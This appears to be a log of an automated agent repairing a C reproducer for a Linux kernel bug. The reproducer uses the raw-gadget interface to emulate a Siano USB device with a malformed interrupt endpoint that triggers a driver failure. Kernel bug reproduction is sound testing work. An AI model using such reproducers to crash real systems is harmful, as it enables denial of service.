						memcpy(buf + sizeof(conf_desc) + sizeof(intf_desc) + sizeof(ep1_desc), &ep2_desc, sizeof(ep2_desc));
						
						io->length = sizeof(conf_desc) + sizeof(intf_desc) + 2 * sizeof(struct usb_endpoint_descriptor);
						if (io->length > ctrl->wLength)
							io->length = ctrl->wLength;
						memcpy(io->data, buf, io->length);
					} else if (ctrl->wValue >> 8 == USB_DT_STRING) {
						uint8_t str_desc[] = {4, USB_DT_STRING, 0x09, 0x04};
						io->length = sizeof(str_desc);
						if (io->length > ctrl->wLength)
							io->length = ctrl->wLength;
						memcpy(io->data, str_desc, io->length);
					}
					break;
				case USB_REQ_SET_CONFIGURATION:
					usb_raw_ep_enable(1, &ep1_desc);
					usb_raw_ep_enable(2, &ep2_desc);
					usb_raw_vbus_draw();
					break;
				}
			}

			if (ctrl->bRequestType & USB_DIR_IN) {
				if (ioctl(fd, USB_RAW_IOCTL_EP0_WRITE, io) < 0) {
					printf("[-] ioctl USB_RAW_IOCTL_EP0_WRITE failed: %s\n", strerror(errno));
				}
			} else {
				io->length = ctrl->wLength;
				if (io->length > 256)
					io->length = 256;
				if (ioctl(fd, USB_RAW_IOCTL_EP0_READ, io) < 0) {
					printf("[-] ioctl USB_RAW_IOCTL_EP0_READ failed: %s\n", strerror(errno));
				}
			}
		}
	}
	return NULL;
}

int main(void)
{
	setup_descriptors();
	usb_raw_init();
	usb_raw_run();
	
	pthread_t thread;
	if (pthread_create(&thread, NULL, handle_ep0, NULL) != 0) {
		printf("[-] pthread_create failed\n");
		exit(1);
	}

	// Wait for the bug to trigger
	sleep(5);
	
	return 0;
}
```

196/7 2026/09/04 10:34 llm repro-repairer
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 8430
							output: 74
							thoughts: 183
						

Thoughts:
**Navigating the USB Raw Gadget API: A Debugging Journey**

Ah, it seems I've run into some vexing compiler errors related to the USB raw gadget API. My immediate thought is to dive into the definitions of the structures causing the fuss: `usb_raw_ep_io`, `usb_raw_vbus_set`, and `usb_raw_event`. I'm encountering three specific issues:

1.  The compiler is flagging an "invalid use of flexible array member" when I try to assign data to `io.data`. This immediately brings to mind how flexible array members *should* be handled – they must be the last member of a struct, and their size is determined dynamically. My current usage likely violates this principle, either by having `data` not be the last member or by attempting to declare it in a way that implies a fixed size at compile time within a struct where it's intended to be flexible.

2.  Next, there's the "storage size of 'vbus' isn't known" error when declaring `struct usb_raw_vbus_set vbus;`. This is a classic sign that the `struct usb_raw_vbus_set` definition itself is incomplete or improperly formed. It suggests that the compiler cannot determine how much memory to allocate for an instance of this structure because one of its members is either missing or also has an unknown size. This is a critical structural issue that needs immediate attention.

3.  Finally, I'm seeing that "'struct usb_raw_event' has no member named 'ctrl'" when I try to access `event.ctrl`. This is a straightforward error, implying a mismatch between my code and the actual definition of the `usb_raw_event` structure. It's possible I'm using an outdated header file, or perhaps I'm mistaken about the member name or its presence entirely.

To resolve these, my next logical step is to consult the source definitions directly. I'll be using `codesearch-definition-source` to precisely locate and examine the definitions for `usb_raw_ep_io`, `usb_raw_vbus_set`, and `usb_raw_event` within `<linux/usb/raw_gadget.h>`. This will be crucial for understanding the intended structure layouts and identifying where my current implementation deviates.


197/7 2026/09/04 10:35 tool codesearch-definition-source
0m Args:
map[Name:usb_raw_ep_io]

Results:
map[SourceCode:  89:	/*
  90:	 * struct usb_raw_ep_io - argument for USB_RAW_IOCTL_EP0/EP_WRITE/READ ioctls.
  91:	 * @ep: Endpoint handle as returned by USB_RAW_IOCTL_EP_ENABLE for
  92:	 *     USB_RAW_IOCTL_EP_WRITE/READ. Ignored for USB_RAW_IOCTL_EP0_WRITE/READ.
  93:	 * @flags: When USB_RAW_IO_FLAGS_ZERO is specified, the zero flag is set on
  94:	 *     the submitted USB request, see include/linux/usb/gadget.h for details.
  95:	 * @length: Length of data.
  96:	 * @data: Data to send for USB_RAW_IOCTL_EP0/EP_WRITE. Buffer to store received
  97:	 *     data for USB_RAW_IOCTL_EP0/EP_READ.
  98:	 */
  99:	struct usb_raw_ep_io {
 100:		__u16		ep;
 101:		__u16		flags;
 102:		__u32		length;
 103:		__u8		data[];
 104:	};
 SourceFile:include/uapi/linux/usb/raw_gadget.h]

198/7 2026/09/04 10:35 tool codesearch-definition-source
0m Error:
log-in to see details

Args:
map[Name:usb_raw_vbus_set]

Results:
map[SourceCode: SourceFile:]

199/7 2026/09/04 10:35 tool codesearch-definition-source
0m Args:
map[Name:usb_raw_event]

Results:
map[SourceCode:  60:	/*
  61:	 * struct usb_raw_event - argument for USB_RAW_IOCTL_EVENT_FETCH ioctl.
  62:	 * @type: The type of the fetched event.
  63:	 * @length: Length of the data buffer. Updated by the driver and set to the
  64:	 *     actual length of the fetched event data.
  65:	 * @data: A buffer to store the fetched event data.
  66:	 *
  67:	 * The fetched event data buffer contains struct usb_ctrlrequest for
  68:	 * USB_RAW_EVENT_CONTROL and is empty for other events.
  69:	 */
  70:	struct usb_raw_event {
  71:		__u32		type;
  72:		__u32		length;
  73:		__u8		data[];
  74:	};
 SourceFile:include/uapi/linux/usb/raw_gadget.h]

200/7 2026/09/04 10:35 llm repro-repairer
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 9283
							output: 25
							thoughts: 297
						

Thoughts:
**My Thought Process Regarding USB Raw I/O and VBUS Control**

My initial encounter with the `usb_raw_ep_io` structure immediately flagged its flexible array member, `data[]`. This is a well-known C construct that fundamentally prevents direct assignment to the array itself, like `io.data = (uint8_t *)desc;`. My immediate thought was that the correct approach would be to allocate the `usb_raw_ep_io` structure with sufficient appended space for the data, or to cast a pre-existing larger buffer to this type.

However, upon observing the actual code snippet provided, my attention was drawn to the problematic direct assignment. This contradicted my understanding of flexible array members. My internal reasoning confirmed that this line, `io.data = (uint8_t *)desc;`, is incorrect. The proper, safe, and idiomatic way to handle this, given the nature of the flexible array, would be to dynamically allocate memory that encompasses both the `usb_raw_ep_io` structure itself and the data it needs to hold.

This leads me to visualize the corrected sequence: I would first use `malloc` to reserve enough memory for `sizeof(struct usb_raw_ep_io)` plus the size of the descriptor (`sizeof(*desc)`). This allocated block would then be cast to a `struct usb_raw_ep_io *`, and the `ep`, `flags`, and `length` members would be populated. Crucially, instead of a direct assignment to `io->data`, I would use `memcpy` to copy the contents of `desc` into the allocated `data` buffer within the `io` structure. This ensures that the `data` buffer has sufficient space and that the data is correctly transferred. Finally, after the `ioctl` operation, I would, of course, `free` the dynamically allocated memory to prevent leaks.

Shifting focus, I then examined the `usb_raw_vbus_set` function and the reported error: "requested entity does not exist." My immediate diagnostic step is to consult the relevant header file for the `vbus` ioctls, specifically `include/uapi/linux/usb/raw_gadget.h`. This is where I would expect to find the definitions and potentially the constraints or requirements for using VBUS-related operations, which would help me understand why the system is reporting that the requested entity cannot be found.


201/7 2026/09/04 10:35 tool grepper
0m Args:
map[Expression:USB_RAW_IOCTL_VBUS_DRAW]

Results:
map[Output:drivers/usb/gadget/legacy/raw_gadget.c=1294=static long raw_ioctl(struct file *fd, unsigned int cmd, unsigned long value)
--
drivers/usb/gadget/legacy/raw_gadget.c-1332-		break;
drivers/usb/gadget/legacy/raw_gadget.c:1333:	case USB_RAW_IOCTL_VBUS_DRAW:
drivers/usb/gadget/legacy/raw_gadget.c-1334-		ret = raw_ioctl_vbus_draw(dev, value);
--
include/uapi/linux/usb/raw_gadget.h=160=struct usb_raw_eps_info {
--
include/uapi/linux/usb/raw_gadget.h-233- */
include/uapi/linux/usb/raw_gadget.h:234:#define USB_RAW_IOCTL_VBUS_DRAW		_IOW('U', 10, __u32)
include/uapi/linux/usb/raw_gadget.h-235-
]

202/7 2026/09/04 10:35 llm repro-repairer
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 9873
							output: 25
							thoughts: 2790
						

Thoughts:
**My Thoughts on the USB Raw Gadget Interface**

Alright, let's break down my thought process while examining this USB raw gadget code. It's clear there are some subtle but critical details regarding how the `ioctl` calls are structured and how the data buffers are handled.

Initially, I was looking at `USB_RAW_IOCTL_VBUS_DRAW` and my first thought was, "Does it take a `__u32` directly or a pointer to one?" Then, seeing the `_IOW('U', 10, __u32)` definition clarified it: it definitely expects a pointer to a `__u32`. So, the correct way to use it is `__u32 vbus = 200; ioctl(fd, USB_RAW_IOCTL_VBUS_DRAW, &vbus);`. The provided code snippet for `usb_raw_vbus_draw` reflects this correct usage.

Moving on to `usb_raw_event` and the `USB_RAW_IOCTL_EVENT_FETCH` ioctl, this is where things got a bit more complex. I noticed the `struct usb_raw_event` has a `__u8 data[]` member, which is a Flexible Array Member (FAM). This immediately tells me that the struct's size isn't fixed and depends on how much data it needs to hold.

My initial instinct was to use a `struct usb_raw_event *event = malloc(sizeof(struct usb_raw_event) + sizeof(struct usb_ctrlrequest));`. This is a common pattern when dealing with FAMs to allocate enough space for the structure plus the data. However, the subsequent line `event->length = sizeof(struct usb_ctrlrequest);` was a bit premature, as `event->length` should represent the *buffer size* we're providing for the event data, not necessarily the size of the expected data *type*.

Then, I saw the core issue: the `ioctl(fd, USB_RAW_IOCTL_EVENT_FETCH, &event)` call, where `event` was declared simply as `struct usb_raw_event event;`. This stack-allocated struct wouldn't have enough space for the `data` member, especially when dealing with control requests. The driver expects a pointer to a `struct usb_raw_event` that *includes* sufficient space for the `data` field, which can hold `struct usb_ctrlrequest` in the `USB_RAW_EVENT_CONTROL` case.

The correct approach, I realized, is to use a sufficiently sized buffer on the stack or heap. The snippet `char event_buf[sizeof(struct usb_raw_event) + sizeof(struct usb_ctrlrequest)]; struct usb_raw_event *event = (struct usb_raw_event *)event_buf;` elegantly solves this by creating a contiguous buffer and casting a pointer to it to the appropriate `struct usb_raw_event` type. This ensures that the `event->data` member has the necessary space.

I also had to revisit the `event->length` handling. The documentation (or inferred behavior from the code) suggests that `event->length` represents the *size of the buffer available for data* when passed *to* the driver via `ioctl(fd, USB_RAW_IOCTL_EVENT_FETCH, event)`. The driver then populates this buffer and updates `event->length` with the *actual amount of data received*. So, setting `event->length = sizeof(struct usb_ctrlrequest);` before the fetch is crucial to inform the driver about the buffer's capacity. The existing code in `handle_ep0` already does this within the loop, which is the correct placement.

Similarly, for `usb_raw_ep_io`, the `__u8 data[]` FAM presents the same challenge. The initial `struct usb_raw_ep_io io; io.data = NULL;` is fundamentally flawed. Passing a `NULL` pointer for `io.data` when the ioctl expects to read from or write to a buffer will lead to a crash or undefined behavior.

The solution here is also to use a buffer that can accommodate the `data` member. The snippet `char io_buf[sizeof(struct usb_raw_ep_io) + 256]; struct usb_raw_ep_io *io = (struct usb_raw_ep_io *)io_buf;` demonstrates this correctly. We allocate enough space for the base struct plus our maximum expected data size (256 bytes in this case). Then, we initialize `io->length` to the actual amount of data we intend to transfer.

Looking at the `handle_ep0` function, the logic for responding to `USB_REQ_GET_DESCRIPTOR` is sound, correctly copying the appropriate descriptor into `io->data` and setting `io->length` according to `ctrl->wLength`. The use of `memcpy` is appropriate here. The subsequent calls to `ioctl(fd, USB_RAW_IOCTL_EP0_WRITE, io)` or `ioctl(fd, USB_RAW_IOCTL_EP0_READ, io)` are also correctly structured, passing the pointer to our prepared `usb_raw_ep_io` structure.

The `usb_raw_ep_enable` function also correctly uses a stack-allocated buffer `io_buf` to handle the `usb_raw_ep_io` structure with its FAM. This is a good pattern.

Overall, my review focused on understanding how the FAMs within these `struct`s interact with the `ioctl` interface. The key takeaway is that when an `ioctl` uses `_IOW` or `_IOR` with a structure containing a FAM, you must ensure that the memory pointed to by the `ioctl` call has sufficient contiguous space for the base structure *and* the data it's expected to hold. This is achieved through careful buffer allocation, either on the stack or heap, and passing a pointer to this allocated block.


203/7 2026/09/04 10:35 tool codesearch-definition-source
0m Args:
map[Name:raw_ioctl_event_fetch]

Results:
map[SourceCode: 615:	static int raw_ioctl_event_fetch(struct raw_dev *dev, unsigned long value)
 616:	{
 617:		struct usb_raw_event arg;
 618:		unsigned long flags;
 619:		struct usb_raw_event *event;
 620:		uint32_t length;
 621:	
 622:		if (copy_from_user(&arg, (void __user *)value, sizeof(arg)))
 623:			return -EFAULT;
 624:	
 625:		spin_lock_irqsave(&dev->lock, flags);
 626:		if (dev->state != STATE_DEV_RUNNING) {
 627:			dev_dbg(dev->dev, "fail, device is not running\n");
 628:			spin_unlock_irqrestore(&dev->lock, flags);
 629:			return -EINVAL;
 630:		}
 631:		if (!dev->gadget) {
 632:			dev_dbg(dev->dev, "fail, gadget is not bound\n");
 633:			spin_unlock_irqrestore(&dev->lock, flags);
 634:			return -EBUSY;
 635:		}
 636:		spin_unlock_irqrestore(&dev->lock, flags);
 637:	
 638:		event = raw_event_queue_fetch(&dev->queue);
 639:		if (PTR_ERR(event) == -EINTR) {
 640:			dev_dbg(&dev->gadget->dev, "event fetching interrupted\n");
 641:			return -EINTR;
 642:		}
 643:		if (IS_ERR(event)) {
 644:			dev_err(&dev->gadget->dev, "failed to fetch event\n");
 645:			spin_lock_irqsave(&dev->lock, flags);
 646:			dev->state = STATE_DEV_FAILED;
 647:			spin_unlock_irqrestore(&dev->lock, flags);
 648:			return -ENODEV;
 649:		}
 650:		length = min(arg.length, event->length);
 651:		if (copy_to_user((void __user *)value, event, sizeof(*event) + length)) {
 652:			kfree(event);
 653:			return -EFAULT;
 654:		}
 655:	
 656:		kfree(event);
 657:		return 0;
 658:	}
 SourceFile:drivers/usb/gadget/legacy/raw_gadget.c]

204/7 2026/09/04 10:35 llm repro-repairer
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 13403
							output: 26
							thoughts: 1819
						

Thoughts:
**My Thought Process Reviewing the USB Raw Gadget Code**

Okay, let's walk through my current understanding of this USB raw gadget implementation, focusing on the control flow and data handling, particularly for EP0.

First, I'm confirming my initial thought: the `arg.length` field, which in this context corresponds to `event->length` when fetching an event, is indeed crucial for determining the size of data to be copied. So, setting `event->length = sizeof(struct usb_ctrlrequest);` before the `USB_RAW_IOCTL_EVENT_FETCH` ioctl call is the correct way to prepare the buffer to receive a `usb_ctrlrequest` structure.

Next, I want to meticulously re-examine the helper functions I've identified.

*   **`usb_raw_ep_enable`**: I'm looking at the implementation here. It takes an endpoint number `ep` and a descriptor `desc`. It crafts an `io_buf` to hold `struct usb_raw_ep_io` and the endpoint descriptor. `io->ep` is set, `io->flags` to 0, and `io->length` is correctly set to the size of the descriptor. The descriptor data is then `memcpy`'d into `io->data`. Finally, it performs the `USB_RAW_IOCTL_EP_ENABLE` ioctl. This all looks logically sound for enabling an endpoint.

*   **`usb_raw_vbus_draw`**: This function is straightforward. It defines a `vbus` value (200) and then issues the `USB_RAW_IOCTL_VBUS_DRAW` ioctl with the address of this value. Again, this appears correct for its intended purpose of signaling a VBUS draw.

Now, the core logic resides in `handle_ep0`. I'm scrutinizing this function step-by-step.

*   The function initializes a buffer `event_buf` that's large enough to hold a `struct usb_raw_event` plus a `struct usb_ctrlrequest`. This is standard practice for handling events that might carry embedded data.
*   It enters an infinite loop, which is typical for event-driven handlers.
*   Inside the loop, `event->length` is set to `sizeof(struct usb_ctrlrequest)`. This is the buffer size allocated for the control request itself within the event structure. The `ioctl(fd, USB_RAW_IOCTL_EVENT_FETCH, event)` call then attempts to fetch an event into `event`. If this fails, the loop breaks, which is a reasonable exit condition.
*   Upon successfully fetching an event, it checks the `event->type`. If it's `USB_RAW_EVENT_CONNECT`, it prints a confirmation.
*   The crucial part is handling `USB_RAW_EVENT_CONTROL`. Here, the `usb_ctrlrequest` structure is extracted from `event->data`. A local `io_buf` is created for `struct usb_raw_ep_io`, again sized to accommodate the control request data (up to 256 bytes).
*   `io->ep` is set to 0 (for EP0), `io->flags` to 0, and `io->length` is initialized to 0.
*   It then checks the request type (`ctrl->bRequestType`) and direction. If it's a standard USB type (`USB_TYPE_STANDARD`):
    *   For `USB_REQ_GET_DESCRIPTOR`: It checks `ctrl->wValue >> 8` to determine the descriptor type.
        *   If it's `USB_DT_DEVICE`, it prepares `dev_desc`. `io->length` is set to the descriptor size, but capped by `ctrl->wLength` to avoid over-reading. The descriptor data is copied.
        *   If it's `USB_DT_CONFIG`, it reconstructs the configuration descriptor by concatenating `conf_desc`, `intf_desc`, `ep1_desc`, and `ep2_desc`. Again, `io->length` is calculated and capped by `ctrl->wLength`.
        *   If it's `USB_DT_STRING`, a simple string descriptor is prepared and copied, with length capping.
    *   For `USB_REQ_SET_CONFIGURATION`: This is where endpoints are enabled (`usb_raw_ep_enable(1, &ep1_desc)`, `usb_raw_ep_enable(2, &ep2_desc)`) and VBUS draw is requested (`usb_raw_vbus_draw()`). This all makes sense as part of the configuration setup.

*   Now, the logic for sending or receiving data on EP0:
    *   If the request is direction IN (`ctrl->bRequestType & USB_DIR_IN`), it calls `ioctl(fd, USB_RAW_IOCTL_EP0_WRITE, io)`. This is for sending data *from* the device *to* the host. The data to be sent is already in `io->data`, and its length is in `io->length` (which was set during descriptor preparation). This seems correct.
    *   If the request is direction OUT (host sending data to the device), it calls `ioctl(fd, USB_RAW_IOCTL_EP0_READ, io)`. This is where my detailed review is critical. My initial thought was that `io->length` was not set for `EP0_READ` in the original code, which was indeed `0`. This means it would attempt to read 0 bytes, which is likely not the intent. The goal is for the host to send data, and the device needs to be prepared to *receive* it.

    Therefore, I need to explicitly set `io->length` for `USB_RAW_IOCTL_EP0_READ` to indicate how much data the host *intends* to send. This length should be derived from `ctrl->wLength`. I also need to ensure that this requested length doesn't exceed the buffer allocated for `io->data` (which is 256 bytes). So, the corrected logic should be:
    ```c
    io->length = ctrl->wLength;
    if (io->length > 256) {
        io->length = 256; // Cap read length to buffer size
    }
    if (ioctl(fd, USB_RAW_IOCTL_EP0_READ, io) < 0) {
        printf("[-] ioctl USB_RAW_IOCTL_EP0_READ failed: %s\n", strerror(errno));
    }
    ```
    This correction ensures that when the host sends data for an OUT control transfer, the gadget driver correctly prepares to receive the intended amount of data, up to its buffer capacity.

*   Finally, I double-checked the original code snippet provided:
    ```c
    if (ctrl->bRequestType & USB_DIR_IN) {
        if (ioctl(fd, USB_RAW_IOCTL_EP0_WRITE, &io) < 0) { // Note: &io is wrong, should be io
            printf("[-] ioctl USB_RAW_IOCTL_EP0_WRITE failed: %s\n", strerror(errno));
        }
    } else {
        if (ioctl(fd, USB_RAW_IOCTL_EP0_READ, &io) < 0) { // Note: &io is wrong, should be io
            printf("[-] ioctl USB_RAW_IOCTL_EP0_READ failed: %s\n", strerror(errno));
        }
    }
    ```
    Ah, there's another subtle error here in the original snippet: it's passing `&io` (the address of the pointer `io`) instead of `io` (the `struct usb_raw_ep_io` pointer itself) to the ioctl calls. This is incorrect. The ioctl expects a pointer to the structure to be passed, which `io` already is. So, it should be `ioctl(fd, USB_RAW_IOCTL_EP0_WRITE, io)` and `ioctl(fd, USB_RAW_IOCTL_EP0_READ, io)`.

Combining these observations, my understanding is that the primary correction needed is to properly set `io->length` for `USB_RAW_IOCTL_EP0_READ` and to pass the correct pointer `io` to the ioctl calls. The rest of the logic for handling descriptors and enabling endpoints seems to be in order.


205/7 2026/09/04 10:35 tool codesearch-definition-source
0m Args:
map[Name:raw_ioctl_ep0_read]

Results:
map[SourceCode: 772:	static int raw_ioctl_ep0_read(struct raw_dev *dev, unsigned long value)
 773:	{
 774:		int ret = 0;
 775:		void *data;
 776:		struct usb_raw_ep_io io;
 777:		unsigned int length;
 778:	
 779:		data = raw_alloc_io_data(&io, (void __user *)value, false);
 780:		if (IS_ERR(data))
 781:			return PTR_ERR(data);
 782:		ret = raw_process_ep0_io(dev, &io, data, false);
 783:		if (ret < 0)
 784:			goto free;
 785:	
 786:		length = min_t(unsigned int, io.length, ret);
 787:		if (copy_to_user((void __user *)(value + sizeof(io)), data, length))
 788:			ret = -EFAULT;
 789:		else
 790:			ret = length;
 791:	free:
 792:		kfree(data);
 793:		return ret;
 794:	}
 SourceFile:drivers/usb/gadget/legacy/raw_gadget.c]

206/7 2026/09/04 10:35 llm repro-repairer
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 15603
							output: 25
							thoughts: 55
						

Thoughts:
**My Thought Process Regarding `raw_alloc_io_data`**

Okay, so my initial understanding is that `raw_alloc_io_data` performs two crucial operations: it first copies the `io` structure from the user's provided memory space, and *then* it proceeds to allocate a block of memory for `data`, the size of which is dictated by the `io.length` field. This immediately brings a critical dependency to my attention: for this allocation to be valid and for the subsequent operations to function correctly, `io->length` absolutely *must* be set to a meaningful value *before* this function is called. If `io->length` is not properly initialized, the allocation size will be indeterminate or incorrect, leading to potential memory corruption, crashes, or other unpredictable behavior.

Therefore, my next logical step is to delve into the implementation of `raw_alloc_io_data` itself. I need to examine its source code to confirm this assumed flow and to verify how it handles the `io->length` value. I'll be looking to see if there are any internal checks, error handling, or preconditions related to this field. Understanding the exact mechanics of `raw_alloc_io_data` is paramount to ensuring the integrity of the data handling in this system.


207/7 2026/09/04 10:36 tool codesearch-definition-source
0m Args:
map[Name:raw_alloc_io_data]

Results:
map[SourceCode: 660:	static void *raw_alloc_io_data(struct usb_raw_ep_io *io, void __user *ptr,
 661:					bool get_from_user)
 662:	{
 663:		void *data;
 664:	
 665:		if (copy_from_user(io, ptr, sizeof(*io)))
 666:			return ERR_PTR(-EFAULT);
 667:		if (io->ep >= USB_RAW_EPS_NUM_MAX)
 668:			return ERR_PTR(-EINVAL);
 669:		if (!usb_raw_io_flags_valid(io->flags))
 670:			return ERR_PTR(-EINVAL);
 671:		if (io->length > USB_RAW_IO_LENGTH_MAX)
 672:			return ERR_PTR(-EINVAL);
 673:		if (get_from_user)
 674:			data = memdup_user(ptr + sizeof(*io), io->length);
 675:		else {
 676:			data = kmalloc(io->length, GFP_KERNEL);
 677:			if (!data)
 678:				data = ERR_PTR(-ENOMEM);
 679:		}
 680:		return data;
 681:	}
 SourceFile:drivers/usb/gadget/legacy/raw_gadget.c]

208/7 2026/09/04 10:36 llm repro-repairer
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 16054
							output: 2987
							thoughts: 3642
						

Thoughts:
**My Thought Process on Refactoring and Correcting the USB Gadget Code**

Okay, so I've been diving into this USB raw gadget driver code, and there were a few areas that needed attention to get it fully functional and address some compiler issues I was encountering.

First off, I confirmed that `io->length` is indeed being used in the relevant `ioctl` calls, which is crucial for ensuring data transfer sizes are handled correctly. My primary goal was to write down the complete, corrected code.

The most significant refactoring involved how I handled structures with flexible array members, specifically `struct usb_raw_ep_io` and `struct usb_raw_event`. Previously, I might have tried to allocate these dynamically or use them in a way that wasn't directly compatible with their definition. My current approach is to use a stack-allocated buffer that's large enough to hold the base structure plus the expected data. For `usb_raw_ep_io`, this meant creating a `char io_buf` and then casting a pointer to it as `struct usb_raw_ep_io *io`. I then use `memcpy` to place the actual descriptor data into `io->data`. This is a robust way to handle the flexible array member.

Similarly, for `struct usb_raw_event`, the original structure definition didn't directly expose a `ctrl` member for the control request data. So, I created a `char event_buf` with sufficient size for the `usb_raw_event` and the subsequent `struct usb_ctrlrequest`. I then cast a pointer to this buffer as `struct usb_raw_event *event` and set `event->length` to the size of the `struct usb_ctrlrequest`. Accessing the actual control request is then done by casting a pointer to `event->data` as `struct usb_ctrlrequest *ctrl`. This ensures I'm correctly interpreting the data payload of the event.

I also noticed that there wasn't a direct `usb_raw_vbus_set` function. The `USB_RAW_IOCTL_VBUS_DRAW` ioctl expects a pointer to a `uint32_t`. So, I introduced a `uint32_t vbus = 200;` and passed its address to the ioctl. This is straightforward and aligns with how the ioctl is documented to be used.

A minor point that crossed my mind was the use of `ctrl->wLength`. This is a `__le16` (little-endian 16-bit) value. On a little-endian system, using it directly as an integer is often fine for typical `wLength` values, as they are usually small. However, to be absolutely pedantic and ensure portability, I considered using `le16toh(ctrl->wLength)`. But, given that the original code did use `ctrl->wLength` directly, and it's unlikely to cause issues in this specific context (especially on common little-endian architectures), I decided to maintain that for minimal disruption. The core logic remains sound.

I also re-verified my memcpy operations for both `io->data` and `event->data` to ensure I'm copying the correct amounts of data into the correct locations. The `usb_raw_ep_enable` call for `io->data` and the descriptor setup for `event->data` are all correct.

Essentially, the changes are minimal but crucial: they directly address how the flexible array members are managed and ensure the correct data types and sizes are passed to the ioctls. I'm quite confident that these adjustments resolve the compiler errors and make the code more robust.


209/4 2026/09/04 10:36 iteration 1
0m
210/5 2026/09/04 10:36 action merge-repro-c
0m Results:
map[CurrentCandidateReproC:```c
#define _GNU_SOURCE
#include <endian.h>
#include <fcntl.h>
#include <linux/usb/ch9.h>
#include <linux/usb/raw_gadget.h>
#include <pthread.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <unistd.h>
#include <dirent.h>
#include <errno.h>

#define UDC_NAME_LENGTH_MAX 128

static int fd;

static void usb_raw_init(void)
{
	fd = open("/dev/raw-gadget", O_RDWR);
	if (fd < 0) {
		printf("[-] open /dev/raw-gadget failed: %s\n", strerror(errno));
		exit(1);
	}

	DIR *dir = opendir("/sys/class/udc");
	if (!dir) {
		printf("[-] Failed to open /sys/class/udc: %s\n", strerror(errno));
		exit(1);
	}

	struct dirent *entry;
	char udc_name[UDC_NAME_LENGTH_MAX] = {0};
	while ((entry = readdir(dir)) != NULL) {
		if (entry->d_name[0] != '.') {
			strncpy(udc_name, entry->d_name, UDC_NAME_LENGTH_MAX - 1);
			break;
		}
	}
	closedir(dir);

	if (strlen(udc_name) == 0) {
		printf("[-] No UDC found in /sys/class/udc\n");
		exit(1);
	}
	printf("[+] Found UDC: %s\n", udc_name);

	struct usb_raw_init init;
	memset(&init, 0, sizeof(init));
	if (strstr(udc_name, "dummy") != NULL) {
		strncpy((char *)init.driver_name, "dummy_udc", UDC_NAME_LENGTH_MAX - 1);
	} else {
		strncpy((char *)init.driver_name, udc_name, UDC_NAME_LENGTH_MAX - 1);
	}
	strncpy((char *)init.device_name, udc_name, UDC_NAME_LENGTH_MAX - 1);
	init.speed = 3; // USB_SPEED_HIGH

	if (ioctl(fd, USB_RAW_IOCTL_INIT, &init) < 0) {
		printf("[-] ioctl USB_RAW_IOCTL_INIT failed: %s\n", strerror(errno));
		exit(1);
	}
	printf("[+] USB_RAW_IOCTL_INIT successful.\n");
}

static void usb_raw_run(void)
{
	if (ioctl(fd, USB_RAW_IOCTL_RUN, 0) < 0) {
		printf("[-] ioctl USB_RAW_IOCTL_RUN failed: %s\n", strerror(errno));
		exit(1);
	}
	printf("[+] USB_RAW_IOCTL_RUN successful.\n");
}

static void usb_raw_ep_enable(int ep, struct usb_endpoint_descriptor *desc)
{
	char io_buf[sizeof(struct usb_raw_ep_io) + sizeof(*desc)];
	struct usb_raw_ep_io *io = (struct usb_raw_ep_io *)io_buf;
	io->ep = ep;
	io->flags = 0;
	io->length = sizeof(*desc);
	memcpy(io->data, desc, sizeof(*desc));
	if (ioctl(fd, USB_RAW_IOCTL_EP_ENABLE, io) < 0) {
		printf("[-] ioctl USB_RAW_IOCTL_EP_ENABLE failed: %s\n", strerror(errno));
	}
}

static void usb_raw_vbus_draw(void)
{
	uint32_t vbus = 200;
	if (ioctl(fd, USB_RAW_IOCTL_VBUS_DRAW, &vbus) < 0) {
		printf("[-] ioctl USB_RAW_IOCTL_VBUS_DRAW failed: %s\n", strerror(errno));
	}
}

struct usb_device_descriptor dev_desc;
struct usb_config_descriptor conf_desc;
struct usb_interface_descriptor intf_desc;
struct usb_endpoint_descriptor ep1_desc;
struct usb_endpoint_descriptor ep2_desc;

static void setup_descriptors(void)
{
	dev_desc.bLength = sizeof(dev_desc);
	dev_desc.bDescriptorType = USB_DT_DEVICE;
	dev_desc.bcdUSB = htole16(0x0200);
	dev_desc.bDeviceClass = USB_CLASS_VENDOR_SPEC;
	dev_desc.bDeviceSubClass = 0;
	dev_desc.bDeviceProtocol = 0;
	dev_desc.bMaxPacketSize0 = 64;
	/* Match SMS1XXX_BOARD_SIANO_STELLAR */
	dev_desc.idVendor = htole16(0x187f);
	dev_desc.idProduct = htole16(0x0100);
	dev_desc.bcdDevice = htole16(0x0100);
	dev_desc.iManufacturer = 0;
	dev_desc.iProduct = 0;
	dev_desc.iSerialNumber = 0;
	dev_desc.bNumConfigurations = 1;

	conf_desc.bLength = sizeof(conf_desc);
	conf_desc.bDescriptorType = USB_DT_CONFIG;
	conf_desc.wTotalLength = htole16(sizeof(conf_desc) +
					 sizeof(intf_desc) +
					 2 * sizeof(struct usb_endpoint_descriptor));
	conf_desc.bNumInterfaces = 1;
	conf_desc.bConfigurationValue = 1;
	conf_desc.iConfiguration = 0;
	conf_desc.bmAttributes = USB_CONFIG_ATT_ONE | USB_CONFIG_ATT_SELFPOWER;
	conf_desc.bMaxPower = 50;

	intf_desc.bLength = sizeof(intf_desc);
	intf_desc.bDescriptorType = USB_DT_INTERFACE;
	intf_desc.bInterfaceNumber = 0;
	intf_desc.bAlternateSetting = 0;
	intf_desc.bNumEndpoints = 2;
	intf_desc.bInterfaceClass = USB_CLASS_VENDOR_SPEC;
	intf_desc.bInterfaceSubClass = 0;
	intf_desc.bInterfaceProtocol = 0;
	intf_desc.iInterface = 0;

	ep1_desc.bLength = sizeof(ep1_desc);
	ep1_desc.bDescriptorType = USB_DT_ENDPOINT;
	ep1_desc.bEndpointAddress = 0x81; // IN
	/* CRITICAL: Interrupt attribute causes usb_submit_urb() to fail with -EINVAL */
	ep1_desc.bmAttributes = USB_ENDPOINT_XFER_INT; 
	ep1_desc.wMaxPacketSize = htole16(512);
	ep1_desc.bInterval = 1;

	ep2_desc.bLength = sizeof(ep2_desc);
	ep2_desc.bDescriptorType = USB_DT_ENDPOINT;
	ep2_desc.bEndpointAddress = 0x02; // OUT
	ep2_desc.bmAttributes = USB_ENDPOINT_XFER_BULK;
	ep2_desc.wMaxPacketSize = htole16(512);
	ep2_desc.bInterval = 0;
}

